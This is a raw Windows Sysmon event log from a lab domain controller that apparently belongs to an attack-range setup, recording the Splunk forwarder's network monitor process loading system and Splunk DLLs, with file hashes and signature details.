734700x800000000000000053151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.793{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.793{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.793{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000053148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37AC496E69A848A4D5C9697EF97CB3E6,SHA256=3BCF5E779FCE3207467148629F78563E49697873E30F0972752BDD1E7072452A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.631{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000053138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000053114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000053113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000053112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000053111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000053107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:18.615{7BD73061-737A-613B-790B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft 